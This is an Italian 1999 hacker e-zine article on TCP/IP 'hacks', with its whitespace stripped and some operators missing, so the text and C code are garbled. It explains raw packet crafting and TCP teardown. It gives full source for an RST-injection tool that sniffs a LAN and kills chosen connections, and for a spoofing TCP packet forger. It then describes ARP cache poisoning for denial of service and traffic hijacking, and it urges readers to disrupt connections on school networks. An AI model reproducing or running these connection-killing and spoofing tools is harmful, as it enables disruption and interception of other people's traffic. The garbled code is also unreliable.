=========================================================

=====================
============================
===========
[previous][index][
next]
[TCP/iP HACKS F0R PHUN AND
PR0FiT]
[da: TCP/iP T00LS
UNLiMiTED]
[
FuSyS]
NO(C)1999 FuSyS
#########################################################
####################
DISCLAIMER
Sequalcunosistaormaichiedendochediavolosiano
questibenedettiTCP/IP
ToolsUnlimiteddacuitraggoarticoliecodici...beh,
NONsitrattadi
unlibroordinabiledaAmazon:)eno,none'neancheun
phileditesto.
None'unmanualetecnicone'materialetrafugatodauna
telco.Mase
ancoranonciavestepensato,bastera'cheraccogliate
tuttiinumeridi
BFiepotreteavereilgrossodiquestimieiscritti
tuttopervoi:)
Inarrivocolnumero7diBFiunpraticoraccoglitore
cartonato!
#########################################################
####################
URLdelnumero:
http://www.iinet.net.au/~bofh/index.html
SenonavetemailettoglianeddotidiSimon,BOfHper
eccellenza,allora
nonaveteildirittodicontinuarealeggereBFi:P
Ah,perchinonlosapesse,BOfHstaperBastardOperator
fROMHell:)))

Okbandoallaperditaditempo.
Quellocheavetetralemani(no,nonPgDno^[[B)e'un
testosualcuni
aspettidelsetdiprotocolliTCP/IPchepossanoesserci
utiliinuna
rete.Perretequestavoltanonintendonecessariamente
InterNet,quanto
ancheunapiccolaLAN,magariquelladellascuola,
dell'ufficio,dicamera
vostraodellavostraCON(vention)preferita.
Perhacksintendopiccoliusievariazionisultemain
manieraabilee
giocosapiu'chedirettiadunprecisofine.Sevistate
chiedendosesi
possausareconquestaaccezione,beh,sipuo'.Lodice
iljargon:)
Requisiti:conoscenzadibasediTCP/IP['dibase'non
vuoldire'nulla']
TCP/IP
Inalcunideimieiarticolihogia'presentatoalcune
caratteristichedi
questosetdiprotocolli.Homostratogliheadered
alcunelibrerieusate
perlaprogrammazioneabassolivello.Si',perche'non
possiamoodobbiamo
assolutamenteaccontentarcidiusarelenormalichiamate
delleAPIBSD
socketpermanipolareleconnessionielemacchine
intornoanoi.Ne'
possiamofidarcidelkernelperche'agiscacomevorremmo
noi:)....
Comeabbiamovistonellaprimapartedelprogetto
0N0S3NDAiabbiamola
possibilita'dicreareinostripacchettiIPedinserirli
nelnormale
flussodellacomunicazionegestitodalkernel.Cosi'
possiamoforgiare
pacchetticonindirizzispoofati,possiamomanipolare
connessionied
intercettaredati.

Questoe'allabaseanchediquestoarticolo.Perprima
cosaquindivi
mostrocomecreareunsemplicepacchettoIP.No,nonun
veroeproprio
programmaquantounaspeciediHOWTO.
Abbiamoperprimacosabisognodiunpo'dimemoria,di
unbuffer.Quello
chepotetefacilmentevederespulciandoneisorgentidel
kerneldilinuxo
diunBSD,e'comeilsistemagestiscalecomunicazioni
usandodeibuffer
chevengonomanipolatimanmanochesipassadauno
stratoall'altrodel
setdiprotocolli[inunprossimoarticolovedremotutto
ilpassaggio
dallaschedadireteall'applicazioneeviceversanel
nuovokerneldi
linux,il2.2].Questibuffer,chiamatisk_buffsotto
linuxembufsotto
BSD4.4,servonoperconteneregliheaderedidatidei
pacchettiIP(ma
nonsolo)chevengonopoitrasmessidallevarie
interfaccediretedel
sistema.Si',ancheviamodemaveteun'interfacciadi
rete.E'proprio
quellacheattraversoSLIP/PPPedilmodemcomunicacon
ilgatewaydel
vostroISP.
Quindi,nonusandoilkernelperinostripacchettinon
possiamoavereun
bufferdiquestotipo.Ciaccontenteremo:)diun
semplicearraydi
char.Perl'usochenefaremopossonobastarearraydi
nonpiu'di1500,
2500byte.Ovviamentestapoiavoiedall'usochene
farete,edalla
implementazionedeivostritool,laspecificadelle
dimensionidei
suddettiarray.Infattiilkernelsara'comunqueingrado
diframmentare
pernoitalipacchettiasecondadelMTUdella

interfacciadirete.
charbuffer[1500];
Hogia'parlatodellestrutturedatiip,udp,tcpe
icmp...bastachevi
spulciatebenbeneladir/usr/include/netinet/alla
ricercadiquelche
fapervoi.Inquestocaso,creandounsemplicepacchetto
IPuseremosolo
<netinet/ip.h>:
structiphdr*ip;
Perche'unpuntatoreaquestastruttura?[sorry,manon
saro'ioquia
dirvicosasiaunpuntatore].Semplice.Perche'useremo
ilpuntatorecome
fogliodicartavelinada'apporre'alnostrobufferper
riempirlocomesi
deve.
Dobbiamopero'anchecomunicarealkernelcheabbiamo
intenzionedicreare
noiinostripacchetti,quindilachiamatadisocket(2)
usera'cometype
SOCK_RAWecomeprotocolIPPROTO_RAW.Dovremoanche
comunicarelanostra
intenzionedimanipolaredirettamentel'headerdiIP.
Quindiuseremo
setsockopt(2),utilizzandoIPPROTO_IPcomelevele
IP_HDRINCLcome
optname.Miraccomandodicontrollaresemprelepagine
mandeicomandie
funzionichenomino.
Aquestopuntopossotranquillamenteapporreilmio
puntatorealmiobuffer:
ip=(structiphdr*)buffer;
Cosi'facendoavro'lapossibilita'dimanipolareil
buffercomefarebbe
(nonproprio:)ilkernelall'attodellacreazionediun

pacchetto:
ip>ihl=5;
ip>version=4;
/*ip>tos*/
ip>tot_len=htons(sizeof(ip));
ip>id=0;
ip>frag_off=0;
ip>ttl=htons(255);
ip>protocol=IPPROTO_IP;
/*ip>check*/
ip>saddr=inet_addr("1.1.1.1");
ip>daddr=inet_addr("2.2.2.2");
Alcuniparametrilihosaltatiinquantoilkernel
provvedera'luistesso,
all'attodellatrasmissione,acompletarel'headerdiIP.
Aquestopunto
possoinviareiltuttomedianteunasemplicechiamata
sendto(2)dopoaver
ovviamenteriempitoancheunastrutturaditipo
sockaddr_inconiltipodi
protocollo(AF_INET),l'indirizzodeldestinatario,edil
numerodiporta
nelcasodiTCPoUDP(0neglialtri).
Questometodoe'quelloutilizzatospessissimo,senon
quasisempre,in
moltissimicodicietoolsdiognigenereincuicisia
bisognodi
manipolareabassolivelloTCP/IP.Ovviamentecreareun
pacchettoe
portareavanticonnessioni,attacchiodifesenone'la
stessacosa.Ma
senzasaperecomeforgiarepacchetti,sara'durafareil
resto:)
Orachequestae'fatta,passiamoaiTCP/IPhacksdi
questoarticolo.
DISTRUZIONE

CONNESSIONI

TCP/IP

NelloscorsonumerodiBFivihomostratocomeavviene
l'iniziodiuna
connessioneTCP,ovveromedianteil3wayhandshake.In

questoarticolo
invecevimostrero'comeleconnessionivengonochiuse.
Visonoessenzialmenteduemodichesirifannoadue
delleflagTCP:FINe
RST.
Ilprimometodoe'quellospecularedel3way,senonche'
servono4
passaggienonsolo3.Questometodoe'quellodel
cosiddettoHALFCLOSE.
SeinfatticonsideriamolaconnessioneTCPcomefull
duplex,possiamo
facilmentecapirecheentrambelepartiincausadebbano
chiuderelaloro
trasmissione.PerfarquestosiusalaflagFIN,dinorma
inviataquando
l'applicazionehachiamatolachiusuradelsocket.La
ricezionediunFIN
nonvuolquindidirechelaconnessionesiaultimata,
quantochee'stata
chiusadallapartechel'hatrasmessa.Perquestoprende
ilnomedi
halfclose.
InpraticaunaparteinviaunpacchettoTCPconlaflag
FIN,conosenza
trasmissionediultimidatimediantePSH.Ilpeer,
rispondeconunackdel
seq+1edinviaasuavoltaunpacchettoconisuoiultimi
dati(ono,
appenalatrasmissionee'finita)elaflagFIN,che
verra'riconosciuta
conunackdallaprimapartechehaavviatolachiusura.
Alsolitoun
diagrammaaiutera',spero,lacomprensione.

|
|
|FIN>
|
|<ACK(SEQ+1)

|
|
CLIENT
(HALFCLOSE)SERVER
|
|<FIN
|
|ACK(SEQ+1)
|
|
|

Duranteilperiodohalfclose,ilserverpotrebbe
benissimocontinuarea
trasmetteredati,anchesequasinessunadelle
applicazioniTCPutilizzi
questapossibilita'.DaRFCinfatti,l'inviodiunaFIN
comunicalafine
dellatrasmissioneeNONlafinedellapossibilita'di
ulteriorericezione.
Gia'chesiamoinargomentotantovaleaggiungerequila
spiegazionedegli
statiditransizionediTCP.Avetepresentequando
utilizzatenetstat(8)?
Queiterminiallafinedellariga,tipoESTABLISHED,
SYN_SENT...?
Alcunisonoabbastanzaintuitivi,maquellipiu'
particolarihanno
effettivamenteachevedereconlachiusuramedianteflag
FIN.
ImmaginatecheioinviiunpacchettoconFIN,passonello
statoFIN_WAIT_1
mentrelaconnessione,vistadalmiopeer,passain
CLOSE_WAITdopoavermi
inviatounack.Seaquestopuntohoricevuto,invece
dell'acksoloFIN
allorapassonellostatoCLOSING,altrimentiin
FIN_WAIT_2.Sericevosia
FINcheackallorapassoinTIME_WAITinattesache
terminiildoppiodel
MaximumSegmentLifetimeo2MSL.Inveceilmiopeerdallo
statoclose_wait

passa,dopoinviodelsuoFINinLAST_ACKinattesadel
mioackperpoter
poitornarenellostatoCLOSED.
Oracheaveteilmaldimareforsee'meglioche
guardiateildiagramma:

||
CLOSED
|

|
|s:SYN
|
|
|
|
r:SYNs:SYN/ACK |
|
|
LISTEN
SYN_SENT
|
|
|
|
|
|r:SYN/ACK
|
|

|s:ACK
|
SYN_RCVDESTABLISHED
|
r:ACK /\
|
/\r:FIN
|
/
\s:ACK
|
/
\CLOSE_WAIT
|
s:FIN|
|
|
|r:FINs:ACK
|s:FIN
|
FIN_WAIT_1CLOSING
|
|
|\
|
LAST_ACK|
r:ACK|
\r:FIN/ACK
|r:ACK
|
|
\s:ACK
|
|
FIN_WAIT_2\TIM_WAIT
|
s:sends r:receives
Ok,OK,none'inpostscriptenone'neancheunamore.
Senevoleteuno
serioavetelapossibilita'discaricarlodallahomepage
diStevens,
l'autorediTCP/IPIllustrated.Dirigetevisu

www.kohala.com.....
TornandoallachiusuradiconnessioniTCPhonominato
anchelaflagRST.
Ingenerale,questaflagserveperireset.Questi
vengonoinviatidaTCP
ognivoltacheunsegmentoopacchettononsembri
correttoperlaconnessione
cuisiriferisce.Adesempiounresetvieneinviatoogni
qualvoltaarrivi
unarichiestadiconnessioneadunaportasucuinonsia
inascoltoalcun
processo.
AdognimodolaflagRSTpermettechiusureditipo
abortivodelle
connessioniinquanto:ognidatochel'applicazionepossa
tenereincoda
vienescartato;edilpeerhamododicapirechela
connessionesiastata
abortitainvecechechiusa.Comunquebastaunsolo
pacchettoconflagRST.

|
|
|CLIENTRST>SERVER
|
|
|

Seavetedigeritotuttofinquivistaretechiedendo:
"si'vabbe,macheci
facciocon'staroba?!".Domandalegittima:)ma
dovrestegia'esserci
arrivati.Sesieteascuola,ufficiooinaltreoccasioni
incuiabbiate
accessoadunaretelocale,avretelapossibilita'di
chiuderele
connessioniavostropiacimento,decidendodifarloin
baseavari

parametridellaconnessione,comeleporte,gliindirizzi
IP,laquantita'
didatitrasmessi...ovviamentesenzadoverriconfigurare
firewalls,
routerodognialtrosegmento/processodiretechepossa
insospettiregli
operatoriBOfH:)[nelsensochelorogia'lofannoe
voglionounaloro
esclusiva...].
Seavetemaiusatosniffitavreteanchevistoilplugin
TouchofDeathche
permettedidistruggereleconnessioni.Cosafa?
Inpraticasitrattadisedereallegramentenellarete,
avendoaccessoal
livellodidatalink;fatelocomepreferite,conlibpcap,
SOCK_PACKET,bpf,
/dev/tapetcetcetc.Aquestopuntoquandopassauna
richiestadiconnessione
chenonvoletepermettere,potetespacciarviperil
serverremotoutilizzando
laflagRST,facendocrederechelaportaremotanonsia
attiva.
Conquestometodopoteteancheabortireconnessioniin
corsoochiuderle
dolcementeavviando,adinsaputadell'hostcuifatelo
sgambetto,la
chiusuramedianteFINeportandoavanti,colvostro
codice,ilconteggio
degliack.
ConquestopotretedivertirvinellaLANdellascuola,
semprecheabbiate
accessodisuperutenteopossiateportarviilvostrobel
laptopconlinux
sopra.Oppurepotretecontrollare,inmancanzadiunbuon
firewall,gli
accessiadhostnonpermessisullavostraLAN.
Oravimostroilcodicenecessario.Inpraticadovete
semplicemente
crearviunaregoladiuso,comeperunfirewall,
confermatalaquale,

creiateunoopiu'pacchetticonflagRSToFINdaparte
delpeer
lanciandoliall'hostcheharichiestoidati.SempliceIP
SPOOFINGvedente
quindi.Ilcodiceacclusoe'soloesplicativo.None'un
granchecome
programma,mafaquelchedeve.Dovrebbeessere
migliorato.Lolascioa
voi.Stogia'lavorandoaTH0T:)nonpossofaretutto
io...
snip
/
*********************************************************
***************
*
*
* RST.c
Codicediaccompagnamentoaparte
*
*
dell'articolo"TCP/IPHacksforPhun *
*
andProfit"suBFi5.PuoitrovareBFi
*
*
all'URLhttp://softpj98.bbk.org/bfi/ *
*
*
*
RSTStormperdistruggerelinkTCP
*
*
ForzaBruta.Nonstile:).Lostile *
*
doveteaggiungerlovoi.Questoe'solo
*
*
codiceesplicativo,nonsupremo. *
*
*
*
(C)1999 FuSyS TCP/IP Tools Unlimited *
*********************************************************
***************/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<ctype.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<netinet/if_ether.h>
#include<net/if.h>

#include<ioctls.h>
#defineRSTS
#defineIF

10
"eth0"

intsp_fd;
unsignedshortip_fast_csum(unsignedchar*iph,unsigned
longihl){
unsignedlongsum;
__asm____volatile__("
movl(%1),%0
subl$4,%2
jbe2f
addl4(%1),%0
adcl8(%1),%0
adcl12(%1),%0
1:adcl16(%1),%0
lea4(%1),%1
decl%2
jne1b
adcl$0,%0
movl%0,%2
shrl$16,%0
addw%w2,%w0
adcl$0,%0
notl%0
2:

"
:"=r"(sum),"=r"(iph),"=r"(ihl)
:"1"(iph),"2"(ihl));
return(sum);
}
structtcppk{
structiphdrip;
structtcphdrtcp;
chardata[1500];
};
structpseudo{
unsignedlongsaddr,daddr;
unsignedcharzero,proto;

unsignedshortlen;
};
voidraw(void)
{
intopt=1;
if((sp_fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
{
perror("\nRAWIP()RAWSocketproblems[Died]");
exit();
}
if(setsockopt(sp_fd,IPPROTO_IP,IP_HDRINCL,&opt,
sizeof(opt))<0){
perror("RAWIP()CannotsetIP_HDRINCL
[Died]");
exit();
}
}
inttap(char*device,intmode)
{
intfd;
structifreqifr;
if((fd=socket(AF_INET,SOCK_PACKET,htons(0x3)))<0){
perror("SNIFF()SOCK_PACKETallocationproblems
[Died]");
exit();
}
strcpy(ifr.ifr_name,device);
if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){
perror("SNIFF()Can'tgetdeviceflags[Died]");
close(fd);
exit();
}
if(!mode)ifr.ifr_flags^=IFF_PROMISC;
elseifr.ifr_flags|=IFF_PROMISC;
if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){
perror("SNIFF()Can'tset/unsetpromiscuousmode
[Died]");

close(fd);
exit();
}
if(!mode){
close(fd);
return(0);
}
elsereturn(fd);
}
unsignedlongin_aton(constchar*str)
{
unsignedlongl;
unsignedlongval;
inti;
l=0;
for(i=0;i<4;i++)
{
l<<=8;
if(*str!='\0')
{
val=0;
while(*str!='\0'&&*str!='.')
{
val*=10;
val+=*str'0';
str++;
}
l|=val;
if(*str!='\0')
str++;
}
}
return(htonl(l));
}
voiduff(void){
printf("\nUso:RSTsourceIPsrc_portdestIP
dest_port\n\n");
exit(1);
}

intmain(intargc,char**argv){
unsignedcharbuffer[1500],checkbuff[32],
checkbuff2[32];
structsockaddr_insin,sin2;
structiphdr*ip;
structtcphdr*tcp;
structpseudo*psp,*psp2;
structtcppktpk,tpk2;
intsniff,snt,snt2,rst=0;
unsignedlongsaddr,daddr;
unsignedshortsrc,dest;
if(argc<5){
uff();
exit(1);
}
saddr=in_aton(argv[1]);daddr=in_aton(argv[3]);
src=htons(atoi(argv[2]));dest=htons(atoi(argv[4]));
sniff=tap(IF,1);
raw();
if(setpriority(0,0,20)<0){
printf("\nRSTsetpriorityError\n");
}
ip=(structiphdr*)(((char*)buffer)+14);
tcp=(structtcphdr*)(((char*)buffer)+
(sizeof(structiphdr)+14));
psp=(structpseudo*)checkbuff;
psp2=(structpseudo*)checkbuff2;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=src;
sin.sin_addr.s_addr=saddr;
memset(&sin2,0,sizeof(sin2));
sin.sin_family=AF_INET;
sin.sin_port=dest;
sin.sin_addr.s_addr=daddr;
memset(&tpk,0,sizeof(tpk));
memset(&tpk2,0,sizeof(tpk2));

memset(psp,0,sizeof(structpseudo));
memset(psp2,0,sizeof(structpseudo));
tpk.ip.ihl=5;
tpk.ip.version=4;
tpk.ip.tos=0;
tpk.ip.tot_len=htons(40);
tpk.ip.frag_off=0;
tpk.ip.ttl=64;
tpk.ip.protocol=IPPROTO_TCP;
tpk.ip.saddr=daddr;
tpk.ip.daddr=saddr;
tpk.tcp.source=dest;
tpk.tcp.dest=src;
tpk.tcp.doff=5;
tpk.tcp.rst=1;
tpk.tcp.ack=1;
tpk.tcp.window=0;
psp>saddr=tpk.ip.daddr;
psp>daddr=tpk.ip.saddr;
psp>zero=0;
psp>proto=IPPROTO_TCP;
psp>len=htons(20);
tpk2=tpk;
tpk2.ip.saddr=saddr;
tpk2.ip.daddr=daddr;
tpk2.tcp.source=src;
tpk2.tcp.dest=dest;
psp2>saddr=tpk.ip.saddr;
psp2>daddr=tpk.ip.daddr;
psp2>zero=0;
psp2>proto=IPPROTO_TCP;
psp2>len=htons(20);
printf("RSTing:\t%s:%d>%s:%d\n",
argv[1],src,argv[3],dest);
while(read(sniff,&buffer,sizeof(buffer))){
if(ip>saddr==daddr&&
ip>daddr==saddr&&
tcp>source==dest&&
tcp>dest==src){
tpk.tcp.seq=tcp>seq+htonl(

ntohs(ip>tot_len)40);
tpk.tcp.ack_seq=tcp>ack_seq;

tpk2.tcp.seq=tcp>ack_seq;
tpk2.tcp.ack_seq=tcp>seq+htonl(
ntohs(ip>tot_len)40);
memcpy(checkbuff+12,&tpk.tcp,
20);
tpk.tcp.check=ip_fast_csum(
(unsignedchar
*)checkbuff,32);
memcpy(checkbuff2+12,&tpk2.tcp,20);
tpk2.tcp.check=ip_fast_csum(
(unsignedchar
*)checkbuff2,32);
for(;rst<RSTS;rst++){
snt2=sendto(sp_fd,&tpk2,40,0,
(structsockaddr*)&sin2,
sizeof(sin2));
snt=sendto(sp_fd,&tpk,
40,0,
(structsockaddr*)&sin,
sizeof(sin));

if(snt<0)printf("[SP00F_ERROR]");
elseprintf("[RST]");
}
break;
}
}
printf("\n");
tap(IF,0);
exit(0);
}
snip
SP00FER TCP
OltreaRSTquellochevilascioe'uncodicepercreare
pacchettiIP+TCP.
UnforgerTCPquindi.Potetespecificaregliindirizzi
IP,leporteed
ancheleflagTCPdainserire.Puo'esseremoltoutile
pertestarei
vostrifirewallerouteredanchepercominciareacapire
comefarea
programmarequestigingilli.

PERO'...
Pero'nonhousatoilmetodonormalechehospiegato
primapercreare
pacchetti,bensi'unaltro.Ugualeeppuremoltodiverso.
Nonsolonella
stesuradelcodice:Pcomepenseretesubito,maanchenel
metodo.Se
capiretequello,avreteinmanolachiavediletturadi
moltiexploitche
cisonoingiro:)...tenetesempreunocchioalvostro
libro/docpreferito
suTCP/IP.
Intantoeccoilcodice:
snip
/
*********************************************************
***************
*
*
*ORODRUIN.c
IlMontedelFato,laforgiaentro
cui *
*
l'Unoe'statocreato,nellaterradi
*
*
Mordor,dovel'ombraneraattende.
*
*
*
*
UnoSpoofperregnarli,
*
*
UnoSpoofpertrovarli,
*
*
UnoSpoofperghermirli,enelbuio *
*
incatenarli,nellaterradiRedmond *
*
doveilnerohackerattende...*
*
*
*
(C)1999 FuSyS TCP/IP Tools Unlimited *
*********************************************************
***************/
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<ctype.h>
#include<sys/types.h>
#include<sys/socket.h>

#include<netinet/in.h>
#include<time.h>
unsignedshortip_fast_csum(unsignedchar*iph,unsigned
longihl){
unsignedlongsum;
__asm____volatile__("
movl(%1),%0
subl$4,%2
jbe2f
addl4(%1),%0
adcl8(%1),%0
adcl12(%1),%0
1:adcl16(%1),%0
lea4(%1),%1
decl%2
jne1b
adcl$0,%0
movl%0,%2
shrl$16,%0
addw%w2,%w0
adcl$0,%0
notl%0
2:

"
:"=r"(sum),"=r"(iph),"=r"(ihl)
:"1"(iph),"2"(ihl));
return(sum);
}
structpseudo{
unsignedlongsaddr,daddr;
unsignedcharzero,proto;
unsignedshortlen;
};
unsignedlongin_aton(constchar*str)
{
unsignedlongl;
unsignedlongval;
inti;
l=0;

for(i=0;i<4;i++)
{
l<<=8;
if(*str!='\0')
{
val=0;
while(*str!='\0'&&*str!='.')
{
val*=10;
val+=*str'0';
str++;
}
l|=val;
if(*str!='\0')
str++;
}
}
return(htonl(l));
}
voiduff(void){
printf("\nUso:OrodruinsourceIPdestIP");
printf("[hsdnFSRPAU]\n");
printf("hquestalitaniadi
Angmar...\n");
printf(" sportal'originedell'Uno\n");
printf("dportaladestinazionedell'
Uno\n");
printf("nxilnumerodelle
creazioni\n");
printf("FSRPAUlebandieredell'Uno\n\n");
exit(1);
}
intmain(intargc,char**argv){
unsignedcharpkt[1500],*x0F,b,flags=0;
structsockaddr_insin;
structpseudopsp;
intfd,fdo,ln,i,snt,opt,hz=1,os=0,od=0;
unsignedlongsaddr,daddr;
unsignedshortsrc=0,dest=0;
if(argc<3){
uff();

exit(1);
}
saddr=in_aton(argv[1]);daddr=in_aton(argv[2]);
while((opt=getopt(argc,(char**)argv,
"hs:d:n:FSRPAU"))!=EOF)
{
switch(opt)
{
case'h':
uff();
exit(0);
break;
case's':
src=(unsignedshort)atoi(optarg);
os++;
break;
case'd':
dest=(unsignedshort)atoi(optarg);
od++;
break;
case'n':
hz=atoi(optarg);
break;
case'F':
flags|=0x01;
break;
case'S':
flags|=0x02;
break;
case'R':
flags|=0x04;
break;
case'P':
flags|=0x08;
break;

case'A':
flags|=0x10;
break;
case'U':
flags|=0x20;
break;
default:
break;
}
}
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
fprintf(stderr,"\nSOCK_RAWDied\n");
exit(2);
}
fdo=1;
if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&fdo,
sizeof(fdo))<0){
fprintf(stderr,"\nHDRINCLDied\n");
exit(3);
}
srand(time(NULL));
printf("\n\033[1;34m]\033[1;32mORODRUI
N\033[0m");
printf("\033[1;34m[\033[0m");
printf("\n\033[1;34mTCPForgerby
FuSyS\033[0m");
printf("\n\033[1;34mTCP/IPTools
Unlimited\033[0m");
printf("\n\033[1;34m]
[\033[0m\n\n");

/*MagiaNeraDelReStregonediMinasMorgul,
SignoreDeiNazgul*/
while(hz){if(!os)src=1024+(rand()%2000);if(!
od)dest=rand()%2000;if(flags==0)
flags|=0x20|
0x08;sin.sin_family=AF_INET;sin.sin_addr.s_addr=daddr;sin
.sin_port=
dest;ln=sizeof(sin);x0F=pkt;memset((unsigned

char*)x0F,0,1500);psp.saddr=saddr;
psp.daddr
=daddr;psp.len=htons(20);psp.zero=0;psp.proto=6;b=0x45;me
mcpy(x0F,&b,
sizeof(unsignedchar));x0F+=2;*((unsigned
short*)x0F)=htons(40);x0F+=2;*((
unsignedshort*)x0F)=0xFFFF;x0F+=2;*((unsigned
short*)x0F)=0x0000;x0F+=2;*((
unsigned
char*)x0F)=0xFF;x0F+=1;b=6;memcpy(x0F,&b,sizeof(unsigned
char));x0F+=3
;*((unsignedlong*)x0F)=saddr;x0F+=4;*((unsigned
long*)x0F)=daddr;x0F+=4;*((
unsignedshort*)x0F)=htons(src);x0F+=2;*((unsigned
short*)x0F)=htons(dest);x0F
+=2;*((unsigned
long*)x0F)=htonl(rand());x0F+=4;*((unsigned
long*)x0F)=htonl(
rand());x0F+=4;b=0x50;memcpy(x0F,&b,sizeof(unsigned
char));x0F+=1;memcpy(x0F,
&flags,sizeof(unsignedshort));x0F+=1;*((unsigned
short*)x0F)=htons(1024);x0F+=
2;*((unsignedshort*)x0F)=ip_fast_csum((unsigned
char*)&psp,32);snt=sendto(fd,
pkt,40,0,(structsockaddr*)&sin,ln);hz;}
exit(1);
}
snip
Oltreallaformac'e'unparticolaredigrande
importanza:ilcalcolodel
checksumrelativoaTCP.Questonone'semplicecomeper
l'headerIP,UDP
eICMP,mac'e'bisognodiunastrutturaparticolareche
contengaIP
sorgenteedestinazione,leporteTCP,uncharugualea
zeroperpaddinge
laquantita'didatitrasmessaconl'headerTCP.
Ricordateveloquando
creereteunospooferTCP.
PROTOCOLLO ARP
AddressResolutionProtocol

GliindirizziIP,nondimentichiamolo,hannounsenso
soloperlostack
TCP/IPdiunamacchina.Maadunlivellopiu'bassocome
quelloethernet
peresempio,conunsuosistemaproprietariodi
indirizzamento,non
servonoamolto.GliindirizziIPv4sonoa32bit,mentre
quelliethernet
sonoa48bit.Comefannoquindiipacchettiatransitare
daunamacchina
all'altra,direteinrete,solocongliindirizziIP?
Semplice.Esisteunacachechegestisceleconversioni,o
megliogli
appaiamentiIP/ethernet,hostperhost.Questae'la
cacheARP.Essaviene
gestitamedianteunprotocollodiinterrogazioneche
permettealle
macchinediunaretediconoscerel'indirizzohardwarea
partiredaquello
IP.PotetetrovarelaspecificaARPnelRFC826.Esiste
ancheun
protocolloinversopermacchinenondotatedidisco,che
debbanofareil
bootdaunserverinrete,enecessitinodiconoscereil
loroindirizzo
IP.Questoprotocolloe'RARP,oReverseARP.
IlpacchettoARPe'particolarerispettoaquellivisti
finoraneimiei
variarticoli,inquantoNONsibasasuIP.Comepotrebbe
dalmomentoche
nonpossoraggiungereunaltrohost,ancheconoscendoil
suoIP,senon
conoscoilsuoindirizzohardware?Dobbiamocapirecheun
contoe'il
routingIP,uncontolamodalita'ditrasferimentolungo
laLANdauna
schedaethernetadun'altra.
VediamoilpacchettoARPtipo:
662221126

464

|ETHERNET|ETHERNET|FRAME|HARD|PROT|HW|PR|OP|SENDER|
SENDER|TARGET|TARGET|
|SRC|DEST|TYPE|TYPE|TYPE|SZ|SZ||ETH|
IP|ETH|IP|

Iprimiduecampisonogliindirizziethernetsorgentee
destinazionedel
pacchetto.Poivengonoduebytechespecificanoiltipo
didatichesegue.
PerlerichiesteolerisposteARPe'ugualea0x806.
Hardwaretypespecificailtipodihardwarecuisi
riferisconoleoperazioni
richiestedalpacchettoARP.Perethernete'ugualea1.
Ilprotocoltypespecificailprotocollochevieneusato
comeparagone.Per
IPe'0x800.
Vengonopoiduebyteperspecificareledimensionidegli
indirizzihardwaree
delprotocollo.6perindirizziethernete4perquelli
IP.
OPspecificailtipodioperazioneARP.1perrichieste
ARP,2per
risposteARP,3perrichiesteRARPe4perlerisposte
RARP.
SeguonopoigliindirizziethernetedIPdelsorgentee
deldestinatario.
Tuttiivaloripossibilisonocontenutinell'header
if_arp.heethernet.h
nelladir/usr/include/net/
QuandocicolleghiamoadunamacchinanellanostraLAN,
lostackTCP/IP
richiedemediantequeryARPqualesial'indirizzo
hardwaredellamacchina

chehacomeIPquellocheilDNS(ounatabellastatica
come/etc/hosts)ci
hacomunicato:
BFi$telnetBFIhome
Trying192.168.1.7...
ConnectedtoBFihome.
Escapecharacteris'^]'.
dietrolequintepossiamovederecontcpdumplarichiesta
ARP:
15:13:29.181972arpwhohasBFihometellBFi
15:13:30.176932arpreplyBFihomeisat0:0:c0:1e:6f:26
Eccochel'hostinterpellatorispondeconilsuo
indirizzoa48bit,dopodiche'
lacomunicazioneTCPavvienenormalmente.
Ma,vichiederete,com'e'possibilecheBFihomeabbia
ricevutola
richiestaARPseBFinonsapevaqualefossel'indirizzo
ethernetcuiinviare
ilpacchetto?E'effettivamentequestoilpunto.
Semplice.
L'indirizzoethernetspecificatocomedestinatarioe'
ff:ff:ff:ff:ff:ff
ovverol'indirizzodiBROADCAST,inmodochetuttele
macchinepossano
saggiareilpacchettoedeciderecosafarne.Aquelpunto
illayerethernet
prelevailpacchetto,capiscedalframetypeugualea
0x806chesitrattadi
operazioniARP,quindiilsottosistemaARPcontrolla
l'indirizzoIPoggetto
dellaquery.Secorrispondeaquellodellaschedadirete
dellamacchina,
alloradara'ilviaadunarispostaARP.
OrailprimohackperARP:)
Abbiamovistocomeprimasiastatopossibiledistruggere
connessioniTCP
moltofacilmenteinunaLAN.Orapensateadunacosa.
Quellochepossiamo

fareconARPe'potentissimo.Possiamoinviarerisposte
ARPpercontodi
altrihost,specificandoundiversoindirizzoethernet
percreareduetipi
diattacco.UnDoSedunhijack.
PerilDoSe'semplicissimo.Sitrattadispecificareun
indirizzoa48bit
inesistentenellaLAN,inmodocheipacchettivadanonel
vuotopiu'
assoluto.Nonsarebberopiu'possibiliconnessionidi
alcungenere.
Perl'hijackinvecesitrattadispecificareilnostro
indirizzo!Conquesto
potremmoredirigereilflussodellaconnessionealnostro
host.
Beh,vichiederete,acheprofarlorispettoalsemplice
sniffer?
ManipolandolecacheARPpossiamoridirottareiltraffico
dihostoltrea
switchlocaliinmododaottenereflussididatidi
macchinenormalmente
aldila'dellaportatadelnostrosniffer.
Oracisonodueproblemi:comeinviarepacchettiARPe
quandofarlo.Beh,
ilprimoproblemae'facilmenterisolvibile.Sottolinux
esisteunaccesso
mediantechiamatasocket(2)chepermettediraggiungere
illivellodatalink,
illivellohardware.SOCK_PACKETvienecomunementeusato
persniffare
sullaLAN.Mapuo'essereutilizzatoancheperinviare
pacchetticomprensivi
diheaderhardware.Bisognapero'ricordarecheinquesto
casoilkernel
NONfara'alcunche'ainostripacchetti,dovremopensare
noianchealla
frammentazione,nelcasoservisse...Quindinonbisogna
saltarealcuncampo
dellevariestrutturecheciservono,compresaquella
dell'interfaccia
ethernet.

Laspecificae'inethernet.hin/usr/include/net/:
/*10Mb/sethernetheader*/
structether_header
{
u_int8_tether_dhost[ETH_ALEN];/*destination
ethaddr*/
u_int8_tether_shost[ETH_ALEN];/*sourceether
addr*/
u_int16_tether_type;/*packettypeID
field*/
};
Perilquandofarlocisonosostanzialmenteduemodi:
monitorarele
richiesteARPrispondendoprimadeglihostlegali,oppure
mediantecontinue
risposteARPinviateognitotsecondiasecondadeltempo
dicancellamento
